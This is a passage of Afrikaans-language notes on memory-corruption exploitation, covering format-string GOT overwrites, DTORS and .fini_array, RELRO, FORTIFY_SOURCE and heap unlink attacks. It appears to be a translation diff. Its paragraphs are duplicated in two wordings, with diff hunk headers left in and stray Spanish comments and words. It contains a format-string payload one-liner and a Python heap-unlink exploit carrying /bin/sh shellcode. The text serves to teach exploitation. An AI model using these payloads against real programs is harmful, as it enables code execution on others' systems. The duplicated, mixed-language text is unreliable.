Dus, as gevolg van hoe formaatstring werk, moet jy **eerstens die kleinste** van \[HOB, LOB] skryf en dan die ander een.
As HOB < LOB\
`[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
As HOB > LOB\
`[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
### **Formaatstring Uitbuiting Sjabloon**
Jy kan 'n **sjabloon** vind om die GOT uit te buit deur formaatstrings hier:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
###
### **.fini\_array**
Essensieel is dit 'n struktuur met **funksies wat geroep sal word** voordat die program eindig. Dit is interessant as jy jou **shell-kode kan roep deur net na 'n adres te spring**, of in gevalle waar jy terug moet gaan na die hoofprogram om die formaatstring 'n tweede keer te **uitbuit**.
Dit is in wese 'n struktuur met **funksies wat uitgevoer sal word** voordat die program eindig. Dit is interessant as jy jou **shellcode kan aanroep deur net na 'n adres te spring**, of in gevalle waar jy terug moet gaan na die hoofprogram om die formaatstring 'n tweede keer te benut.
```bash
objdump -s -j .fini_array ./greeting
@ -376,12 +208,12 @@ Contents of section .fini_array:
#Put your address in 0x8049934
```
Merk op dat hierdie **nie** 'n **ewige lus** sal **skep** nie omdat wanneer jy terugkeer na die hoofprogram, sal die kanarie dit opmerk, die einde van die stapel mag gekorrup word en die funksie sal nie weer opgeroep word nie. Dus met hierdie sal jy in staat wees om **1 meer uitvoering** van die kwesbaarheid te hê.
Let wel dat hierdie **nie** 'n **ewige lus** sal **skep** nie omdat wanneer jy terugkeer na die hoofprogram, sal die kanarie dit opmerk, die einde van die stapel mag gekorrup word en die funksie sal nie weer opgeroep word nie. Dus met hierdie sal jy in staat wees om **1 meer uitvoering** van die kwesbaarheid te hê.
### **Formateer Strings om Inhoud te Dump**
### **Formaat Strings om Inhoud te Dump**
'n Formateerstring kan ook misbruik word om inhoud uit die geheue van die program te **dump**.\
Byvoorbeeld, in die volgende situasie is daar 'n **plaaslike veranderlike in die stapel wat na 'n vlag wys**. As jy **vind** waar in die **geheue** die **aanwyser** na die **vlag** is, kan jy **printf toegang** tot daardie **adres** maak en die **vlag** **druk**:
'n Formaat string kan ook misbruik word om inhoud uit die geheue van die program te **dump**.\
Byvoorbeeld, in die volgende situasie is daar 'n **plaaslike veranderlike in die stapel wat na 'n vlag wys**. As jy **vind** waar in die **geheue** die **aanwyser** na die **vlag** is, kan jy **printf toegang** tot daardie **adres** maak en die **vlag** **afdruk**:
So, vlag is in **0xffffcf4c**
@ -395,7 +227,7 @@ Dus, deur die **8ste parameter** te **benader**, kan jy die vlag kry:
![](<../../.gitbook/assets/image (624).png>)
Merk op dat na die **vorige aanval** en besef dat jy **inhoud kan lek**, kan jy **aanwysers instel** na **`printf`** na die afdeling waar die **uitvoerbare lêer** gelaai is en dit **heeltemal dump**!
Let wel dat deur die **vorige uitbuiting** te volg en te besef dat jy **inhoud kan lek**, kan jy **aanwysers instel** na **`printf`** na die afdeling waar die **uitvoerbare lêer** gelaai is en dit **heeltemal dump**!
### **DTOR**
@ -410,187 +242,62 @@ Kry die adres van hierdie afdeling met:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Gewoonlik sal jy die **DTOR**-afdeling **tussen** die waardes `ffffffff` en `00000000` vind. Dus as jy net daardie waardes sien, beteken dit dat daar **geen funksie geregistreer is nie**. **Oorskryf** dus die **`00000000`** met die **adres** na die **shellcode** om dit uit te voer.
Gewoonlik sal jy die **DTOR**-afdeling **tussen** die waardes `ffffffff` en `00000000` vind. Dus as jy net daardie waardes sien, beteken dit dat daar **geen funksie geregistreer is nie**. Dus **owerwrite** die **`00000000`** met die **adres** na die **shellcode** om dit uit te voer.
### **Formaat Strings na Buffer Oorvloei**
### **Formaat Strings na Buffer Overflows**
Die **sprintf skuif** 'n geformateerde string **na** 'n **veranderlike.** Jy kan dus die **formatering** van 'n string misbruik om 'n **buffer oorvloei in die veranderlike** waar die inhoud na gekopieer word, te veroorsaak.\
Byvoorbeeld, die lading `%.44xAAAA` sal **44B+"AAAA" in die veranderlike skryf**, wat 'n buffer oorvloei kan veroorsaak.
Die **sprintf skuif** 'n geformateerde string **na** 'n **veranderlike.** Daarom kan jy die **formattering** van 'n string misbruik om 'n **buffer overflow in die veranderlike** waar die inhoud na gekopieer word, te veroorsaak.\
Byvoorbeeld, die lading `%.44xAAAA` sal **44B+"AAAA" in die veranderlike skryf**, wat 'n buffer overflow kan veroorsaak.
### **\_\_atexit Strukture**
{% hint style="danger" %}
Teenwoordig is dit baie **vreemd om dit uit te buit**.
Teenwoordig is dit baie **vreemd om dit te benut**.
{% endhint %}
**`atexit()`** is 'n funksie waar **ander funksies as parameters oorgedra word.** Hierdie **funksies** sal uitgevoer word wanneer 'n **`exit()`** uitgevoer word of die **terugkeer** van die **hooffunksie**.\
As jy die **adres** van enige van hierdie **funksies kan wysig** om na 'n shellcode byvoorbeeld te wys, sal jy **beheer oor die proses kry**, maar dit is tans meer ingewikkeld.\
Tans is die **adresse van die funksies** wat uitgevoer moet word, **verskuil** agter verskeie strukture en uiteindelik is die adres waarna dit wys nie die adresse van die funksies nie, maar is **geënkripteer met XOR** en verskuiwings met 'n **willekeurige sleutel**. Dus is hierdie aanvalsvektor tans **nie baie nuttig ten minste op x86** en **x64\_86** nie.\
Die **enkripsiefunksie** is **`PTR_MANGLE`**. **Ander argitekture** soos m68k, mips32, mips64, aarch64, arm, hppa... **implementeer nie die enkripsiefunksie** nie omdat dit **dieselfde teruggee** as wat dit as inset ontvang het. Dus sou hierdie argitekture vatbaar wees vir hierdie vektor.
**`atexit()`** is 'n funksie waarvolgens **ander funksies as parameters oorgedra word.** Hierdie **funksies** sal uitgevoer word wanneer 'n **`exit()`** uitgevoer word of die **terugkeer** van die **hooffunksie.**\
As jy die **adres** van enige van hierdie **funksies kan wysig** om na 'n shellcode byvoorbeeld te wys, sal jy **beheer oor die proses verkry**, maar dit is tans meer ingewikkeld.\
Tans is die **adresse van die funksies** wat uitgevoer moet word, **verskuil** agter verskeie strukture en uiteindelik is die adres waarna dit wys nie die adresse van die funksies nie, maar is **geënkripteer met XOR** en verskuiwings met 'n **willekeurige sleutel.** Dus is hierdie aanvalsvektor tans **nie baie nuttig ten minste op x86** en **x64\_86** nie.\
Die **enkripsiefunksie** is **`PTR_MANGLE`**. **Ander argitekture** soos m68k, mips32, mips64, aarch64, arm, hppa... **implementeer nie die enkripsie**-funksie nie omdat dit **dieselfde teruggee** as wat as inset ontvang is. Dus sou hierdie argitekture vatbaar wees vir hierdie vektor.
### **setjmp() & longjmp()**
{% hint style="danger" %}
Teenwoordig is dit baie **vreemd om dit uit te buit**.
Teenwoordig is dit baie **vreemd om dit te benut**.
{% endhint %}
**`Setjmp()`** maak dit moontlik om die **konteks** (die registers) **te stoor.**\
**`longjmp()`** maak dit moontlik om die **konteks** te **herstel.**\
Die **gestoorde registers** is: `EBX, ESI, EDI, ESP, EIP, EBP`\
Wat gebeur is dat EIP en ESP deur die **`PTR_MANGLE`**-funksie gestuur word, dus die **argitektuur wat vatbaar is vir hierdie aanval is dieselfde as hierbo**.\
Wat gebeur is dat EIP en ESP deur die **`PTR_MANGLE`**-funksie oorgedra word, dus is die **argitektuur vatbaar vir hierdie aanval dieselfde as hierbo.**\
Hulle is nuttig vir foutherstel of onderbrekings.\
Tog, van wat ek gelees het, is die ander registers nie beskerm nie, **dus as daar 'n `call ebx`, `call esi` of `call edi`** binne die funksie wat geroep word, is, kan beheer oorgeneem word. Of jy kan ook EBP wysig om die ESP te wysig.
Nietemin, van wat ek gelees het, is die ander registers nie beskerm nie, **dus as daar 'n `call ebx`, `call esi` of `call edi`** binne die funksie wat geroep word, kan beheer oorgeneem word. Of jy kan ook EBP wysig om die ESP te wysig.
**VTable en VPTR in C++**
Elke klas het 'n **Vtabel** wat 'n reeks **aanwysers na metodes** is.
Elke klas het 'n **Vtabel** wat 'n reeks **wysers na metodes** is.
Elke objek van 'n **klas** het 'n **VPtr** wat 'n **aanwyser** na die reeks van sy klas is. Die VPtr is deel van die kop van elke objek, dus as 'n **oorvloei** van die **VPtr** bereik word, kan dit **gewysig** word om na 'n dummie-metode te wys sodat die uitvoering van 'n funksie na die shellcode sal gaan.
Elke objek van 'n **klas** het 'n **VPtr** wat 'n **wyser** na die reeks van sy klas is. Die VPtr is deel van die kop van elke objek, dus as 'n **owerwrite** van die **VPtr** bereik word, kan dit **gewysig** word om na 'n dummie-metode te wys sodat die uitvoering van 'n funksie na die shellcode gaan.
## **Preventiewe maatreëls en ontwykings**
## **Voorkomende maatreëls en ontwykings**
**Return-into-printf**
Dit is 'n tegniek om 'n buffer oorvloei in 'n fout van die formaatstring te omskep. Dit behels die vervanging van die EIP sodat dit na 'n printf van die funksie wys en 'n geformateerde string as argument deurgee wat gemanipuleer is om waardes oor die toestand van die proses te verkry.
**Aanval op biblioteke**
Biblioteke is in 'n posisie met 16 bits van willekeurigheid = 65636 moontlike adresse. As 'n vatbare bediener fork() aanroep, word die geheue-adresruimte in die kinderproses gekloneer en bly dit ongeskonde. Daarom kan 'n brute force-poging gedoen word om die usleep() funksie van libc te oorval deur "16" as argument te gee, sodat as dit langer as normaal neem om te reageer, die funksie gevind is. Deur te weet waar hierdie funksie is, kan delta\_mmap verkry word en die res bereken word.
Die enigste manier om seker te wees dat die ASLR werk, is om 64-bits argitektuur te gebruik. Daar is geen brute force-aanvalle nie.
### Relro
**Relro (Read only Relocation)** beïnvloed die geheue-toestemmings soortgelyk aan NX. Die verskil is dat terwyl dit met NX die stapel uitvoerbaar maak, maak RELRO **sekere dinge net leesbaar** sodat ons nie daaraan kan skryf nie. Die mees algemene manier waarop ek gesien het dat dit 'n struikelblok is, is om ons te verhoed om 'n **`got`-tabel-oorvloei** te doen, wat later gedek sal word. Die `got`-tabel bevat adresse vir libc-funksies sodat die binêre weet wat die adresse is en hulle kan aanroep. Laat ons kyk na hoe die geheue-toestemmings lyk vir 'n `got`-tabelinskrywing vir 'n binêre met en sonder relro.
Met relro:
```bash
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
```
Sondef relro:
```bash
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
```
Vir die binêre **sonder relro**, kan ons sien dat die `got` inskrywingsadres vir `fgets` `0x404018` is. As ons na die geheueafbeeldings kyk, sien ons dat dit tussen `0x404000` en `0x405000` val, wat die **toestemmings `rw`** het, wat beteken dat ons daarna kan lees en skryf. Vir die binêre **met relro**, sien ons dat die `got` tabeladres vir die uitvoering van die binêre (pie is geaktiveer, so hierdie adres sal verander) `0x555555557fd0` is. In daardie binêre se geheueafbeelding val dit tussen `0x0000555555557000` en `0x0000555555558000`, wat die geheue **toestemming `r`** het, wat beteken dat ons slegs daarvan kan lees.
Wat is die **omleiding**? Die tipiese omleiding wat ek gebruik, is om eenvoudig nie na geheuegebiede te skryf wat deur relro veroorsaak word om slegs leesbaar te wees nie, en **'n ander manier vind om kode-uitvoering te kry**.
Let daarop dat die binêre voor die uitvoering die adresse van die funksies moet ken:
* Lui bind: Die adres van 'n funksie word die eerste keer gesoek as die funksie aangeroep word. Dus moet die GOT skryftoestemmings tydens uitvoering hê.
* Bind nou: Die adresse van die funksies word aan die begin van die uitvoering opgelos, waarna slegs leesbare toestemmings aan sensitiewe afdelings soos .got, .dtors, .ctors, .dynamic, .jcr gegee word. `` `** ``-z relro`**`y`**`-z now\`\*\*
Om te kontroleer of 'n program Bind nou gebruik, kan jy doen:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
Cuando die binêre lêer in die geheue gelaai word en 'n funksie vir die eerste keer geroep word, spring dit na die PLT (Procedure Linkage Table), van daar af maak dit 'n sprong (jmp) na die GOT en ontdek dat daardie inskrywing nie opgelos is nie (dit bevat 'n adres volgende van die PLT). Dit roep dan die Runtime Linker of rtfd aan om die adres op te los en in die GOT te stoor.
Wanneer 'n funksie geroep word, word die PLT geroep, dit het die adres van die GOT waar die adres van die funksie gestoor word, dus rig die vloei daarheen en roep so die funksie aan. Maar as dit die eerste keer is dat die funksie geroep word, is wat in die GOT is die volgende instruksie van die PLT, dus volg die vloei die kode van die PLT (rtfd) en vind die adres van die funksie, stoor dit in die GOT en roep dit aan.
By die laai van 'n binêre lêer in die geheue, het die samesteller gesê waar dit data moet plaas wat tydens die uitvoering van die program gelaai moet word.
Lui binding —> Die adres van die funksie word die eerste keer gesoek wanneer die funksie geroep word, sodat die GOT skryfregte het sodat wanneer dit gesoek word, dit daar gestoor word en nie weer gesoek hoef te word nie.
Bind nou —> Die adresse van die funksies word gesoek wanneer die program gelaai word en die regte van die .got, .dtors, .ctors, .dynamic, .jcr afdelings word verander na slegs lees. **-z relro** en **-z now**
Ten spyte hiervan is programme oor die algemeen nie ingewikkeld met hierdie opsies nie, dus bly hierdie aanvalle moontlik.
**readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> Om te sien of BIND NOW gebruik word
**Fortify Source -D\_FORTIFY\_SOURCE=1 of =2**
Probeer om funksies te identifiseer wat onveilig van die een plek na die ander kopieer en verander die funksie na 'n veilige funksie.
Byvoorbeeld:\
char buf\[16];\
strcpy(but, source);
Dit identifiseer dit as onveilig en verander dan strcpy() na \_\_strcpy\_chk() deur die grootte van die buffer as die maksimum grootte om te kopieer.
Die verskil tussen **=1** of **=2** is dat:
Die tweede staan nie toe dat **%n** van 'n afdeling met skryfregte kom nie. Verder kan die parameter vir direkte toegang tot argumente slegs gebruik word as die voriges gebruik word, dit wil sê, slegs **%3$d** kan gebruik word as **%2$d** en **%1$d** voorheen gebruik is.
Om die foutboodskap te wysig, word argv\[0\] gebruik, dus as dit ingestel word op die adres van 'n ander plek (soos 'n globale veranderlike) sal die foutboodskap die inhoud van daardie veranderlike wys. Bl. 191
###
**Vervanging van Libsafe**
Dit word geaktiveer met: LD\_PRELOAD=/lib/libsafe.so.2\
Dit word geaktiveer deur: LD\_PRELOAD=/lib/libsafe.so.2\
of\
“/lib/libsave.so.2” > /etc/ld.so.preload
Dit onderskep oproepe na sekere onveilige funksies met ander veilige funksies. Dit is nie gestandaardiseer nie. (slegs vir x86, nie vir samestellings met -fomit-frame-pointer, nie statiese samestellings nie, nie alle kwesbare funksies word veilig nie en LD\_PRELOAD werk nie in bineêre lêers met suid nie).
Oproepe na sekere onveilige funksies word deur veiliger funksies onderskep. Dit is nie gestandaardiseer nie. (slegs vir x86, nie vir samestellings met -fomit-frame-pointer, nie statiese samestellings nie, nie al die kwesbare funksies word veilig nie en LD\_PRELOAD werk nie in bineêre met suid nie).
**ASCII Gepantserde Adresruimte**
Dit behels die laai van gedeelde biblioteke vanaf 0x00000000 tot 0x00ffffff sodat daar altyd 'n byte 0x00 is. Tog stop dit eintlik byna geen aanvalle nie, veral nie in little endian nie.
Dit behels die laai van gedeelde biblioteke vanaf 0x00000000 tot 0x00ffffff sodat daar altyd 'n byte 0x00 is. Tog stop dit eintlik byna geen aanval nie, en veral nie in little endian nie.
**ret2plt**
Dit behels die uitvoering van 'n ROP sodat die strcpy@plt-funksie (van die plt) geroep word en na die inskrywing van die GOT gewys word en die eerste byte van die funksie wat geroep moet word (system()) gekopieer word. Daarna word dieselfde gedoen deur na GOT+1 te wys en die 2de byte van system() te kopieer... Uiteindelik word die adres wat in die GOT gestoor is, wat system() sal wees, geroep.
**Valse EBP**
Vir funksies wat EBP as register gebruik om na die argumente te wys, moet die EIP verander word en na system() gewys word, moet die EBP ook verander word om na 'n geheuegebied te wys wat enige 2 byte het en dan die adres na &”/bin/sh”.
Dit behels 'n ROP-uitvoering waar die strcpy@plt-funksie (van die plt) geroep word en na die ingang van die GOT gewys word en die eerste byte van die funksie waarna geroep moet word (system()) gekopieer word. Dan word dieselfde gedoen deur na GOT+1 te wys en die 2de byte van system() te kopieer... Uiteindelik word die adres wat in GOT gestoor is, wat system() sal wees, geroep.
**Hokke met chroot()**
@ -605,7 +312,7 @@ Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Oorvloeiings: Basiese aanvalle**
## **8 Heap Overflows: Basiese Uitbuitings**
**Toegewysde stuk**
@ -617,15 +324,15 @@ size | —Kop\
prev\_size |\
size |\
\*fd | Wysiger na volgende stuk\
\*bk | Wysiger na vorige stuk —Kop\
\*fd | Wys na die volgende stuk\
\*bk | Wys na die vorige stuk —Kop\
\*mem | Data
Die vry stukke is in 'n dubbelgekoppelde lys (bin) en daar kan nooit twee vry stukke agtermekaar wees nie (hulle word saamgevoeg).
In "size" is daar bietjies om aan te dui: Of die vorige stuk in gebruik is, of die stuk toegewys is deur middel van mmap() en of die stuk behoort tot die primêre arena.
In "size" is daar bietjies om aan te dui: Of die vorige stuk in gebruik is, of die stuk toegewys is deur middel van mmap() en of die stuk behoort aan die primêre arena.
As 'n stuk vrygestel word en enige van die aangrensende stukke is vry, word hulle saamgevoeg deur die makro unlink() en die nuwe, groter stuk word na frontlink() gestuur om in die toepaslike bin ingevoeg te word.
As 'n stuk vrygestel word en enige van die aangrensende stukke is vry, word hulle saamgevoeg deur die makro unlink() en die nuwe, groter stuk word na frontlink() gestuur om dit in die toepaslike bin in te voeg.
unlink(){\
BK = P->bk; —> Die BK van die nuwe stuk is die een wat die vorige vry stuk gehad het\
@ -634,7 +341,7 @@ FD->bk = BK; —> Die BK van die volgende stuk wys na die nuwe stuk\
BK->fd = FD; —> Die FD van die vorige stuk wys na die nuwe stuk\
}
Dus as ons die P->bk kan verander met die adres van 'n shellcode en die P->fd met die adres na 'n inskrywing in die GOT of DTORS minus 12, word bereik:
Dus as ons die P->bk kan wysig met die adres van 'n shellcode en die P->fd met die adres na 'n inskrywing in die GOT of DTORS minus 12, word dit bereik:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
@ -642,86 +349,86 @@ FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
En dus word die shellcode uitgevoer wanneer die program eindig.
Verder skryf die 4de instruksie van unlink() iets en die shellcode moet hiervoor herstel word:
Verder skryf die 4de sin van unlink() iets en die shellcode moet hiervoor herstel word:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Dit veroorsaak die skryf van 4 byte vanaf die 8ste byte van die shellcode, dus moet die eerste instruksie van die shellcode 'n sprong wees om hierdie te vermy en in 'n paar nops te val wat na die res van die shellcode lei.
Dus die aanval word geskep:
Dus word die uitbuiting so geskep:
In die buffer1 plaas ons die shellcode beginnende met 'n sprong sodat dit na die nops of die res van die shellcode val.
In die buffer1 plaas ons die shellcode wat begin met 'n sprong sodat dit na die nops of die res van die shellcode val.
Na die shellcode plaas ons vulsel tot by die prev\_size en size veld van die volgende stuk. Hier plaas ons 0xfffffff0 (sodat die prev\_size oorskryf word om die bit te hê wat sê dat dit vry is) en "-4" (0xfffffffc) in die size (sodat wanneer dit in die 3de stuk ondersoek word of die 2de vry was, dit eintlik na die gewysigde prev\_size gaan wat sal sê dat dit vry is) -> Dus wanneer free() ondersoek instel, sal dit na die size van die 3de gaan, maar eintlik na die 2de - 4 gaan en dink dat die 2de stuk vry is. En dan roep dit **unlink()** aan.
Na die shellcode plaas ons vulmateriaal tot by die prev\_size- en size-veld van die volgende stuk. Hier plaas ons 0xfffffff0 (sodat die prev\_size oorskryf word om die bit te hê wat sê dat dit vry is) en "-4" (0xfffffffc) in die size (sodat wanneer dit in die 3de stuk ondersoek word of die 2de vry was, dit eintlik na die gewysigde prev\_size gaan wat sal sê dat dit vry is) -> Dus wanneer free() ondersoek instel, sal dit na die size van die 3de gaan, maar eintlik na die 2de - 4 gaan en dink dat die 2de stuk vry is. En dan roep dit **unlink()** aan.
Wanneer unlink() aangeroep word, gebruik dit die eerste data van die 2de stuk as P->fd, dus die adres wat oorskryf moet word - 12 (want in FD->bk sal dit 12 by die adres wat in FD gestoor is, optel). En op daardie adres word die tweede adres in die 2de stuk ingevoer, wat die adres na die shellcode moet wees (valse P->bk).
Wanneer unlink() aangeroep word, gebruik dit die eerste data van die 2de stuk as P->fd, sodat die adres wat oorskryf moet word - 12 (want in FD->bk sal dit 12 by die adres wat in FD gestoor is, optel). En op daardie adres word die tweede adres in die 2de stuk ingevoer, wat die adres na die shellcode moet wees (valse P->bk).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bytes van vulsel**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Dit is belangrik dat die bit wat aandui dat die vorige stuk vry is, op 1 is**
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, sodat dit dink dat die "grootte" van die 3de stuk 4 byte agter is (dit wys na prev\_size) want dit is waar dit kyk of die 2de stuk vry is**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev\_size) pues es ahí donde mira si el 2º trozo está libre**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #In die payload gaan ons aan die begin 8 byte vul**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
**got\_free = pack("\<I", 0x08048300 - 12) #Adres van free() in die plt-12 (dit sal die adres wees wat oorskryf word sodat die shellcode die 2de keer wat free() geroep word, uitgevoer word)**
**got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Soos gesê begin die payload met 8 byte vul want waarom nie**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Die 2de stuk word verander, got\_free wys na waar ons die adres addr\_sc + 12 gaan stoor**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica el 2º trozo, el got\_free apunta a donde vamos a guardar la direccion addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() in omgekeerde volgorde vrylaat (wargame)**
**unset() liberando en sentido inverso (wargame)**
Ons beheer 3 aaneenlopende stukke en hulle word in omgekeerde volgorde vrygelaat.
Ons beheer 3 aaneenlopende chunks en hulle word in omgekeerde volgorde vrygestel.
In daardie geval:
Die shellcode word in stuk c geplaas
In chunk c word die shellcode geplaas
Die stuk a word gebruik om die b te oorskryf sodat die grootte die PREV\_INUSE-bit gedeaktiveer het sodat dit dink dat stuk a vry is.
Die chunk a word gebruik om die b te oorskryf sodat die grootte die PREV\_INUSE-bit gedeaktiveer het sodat dit dink dat chunk a vry is.
Daarbenewens word die grootte in die b-header oorskryf om -4 te wees.
Daarbenewens word die grootte in die b-header oorgeskryf om -4 te wees.
Dus, die program sal dink dat "a" vry is en in 'n bin is, en dit sal unlink() roep om dit af te koppel. Tog, omdat die vorige grootte -4 is, sal dit dink dat die "a" stuk eintlik by b+4 begin. Met ander woorde, dit sal unlink() na 'n stuk roep wat by b+4 begin, sodat die "fd" aanwyser by b+12 sal wees en die "bk" aanwyser by b+16 sal wees.
Dus, die program sal dink dat "a" vry is en in 'n bin is, en dit sal unlink() roep om dit af te koppel. Tog, aangesien die PREV\_SIZE -4 is, sal dit dink dat die "a" stuk eintlik by b+4 begin. Met ander woorde, dit sal unlink() na 'n stuk roep wat by b+4 begin, sodat die punt "fd" by b+12 sal wees en die punt "bk" by b+16 sal wees.
Op hierdie manier, as ons die adres van die shellcode in bk plaas en die adres van die "puts()"-funksie -12 in fd plaas, het ons ons payload.
Op hierdie manier, as ons die adres na die shellcode in bk plaas en die adres na die "puts()"-funksie -12 in fd plaas, het ons ons payload.
**Frontlink-tegniek**
